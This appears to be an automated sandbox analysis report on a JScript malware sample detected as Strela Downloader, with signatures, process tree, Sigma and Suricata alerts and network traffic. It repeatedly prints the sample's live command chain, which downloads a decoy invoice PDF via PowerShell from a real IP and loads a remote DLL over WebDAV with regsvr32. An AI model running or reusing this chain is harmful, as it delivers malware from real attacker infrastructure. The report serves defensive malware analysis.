Edit tour

Windows Analysis Report
10266121931448610316.js

Overview

General Information

Sample name:	10266121931448610316.js
Analysis ID:	1587722
MD5:	13649472aac9d2677a516814da412333
SHA1:	1d5e8f525d099340de24f12a2d2df8a3e9c1699e
SHA256:	a94fac7850b509ba697691976066bda48790228391d2f3714436e368f787b248
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 3508 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4824 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2960 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5360 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 4868 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 6168 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4200 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1616,i,13284928006663200886,9743966577043806291,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 5924 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 1668 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 2512 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 3508	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4824, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5360, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4824, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5360, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", ProcessId: 3508, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 1668, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, ProcessId: 4824, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, ProcessId: 4824, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, ProcessId: 4824, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, ProcessId: 4824, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, ProcessId: 4824, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", ProcessId: 3508, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4824, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5360, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1668, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 2512, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 5924, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 1668, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10266121931448610316.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 3508, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\289132936931765.dll, ProcessId: 4824, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:24:47.854395+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T17:24:45.321065+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 10266121931448610316.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 10266121931448610316.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:24:45 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

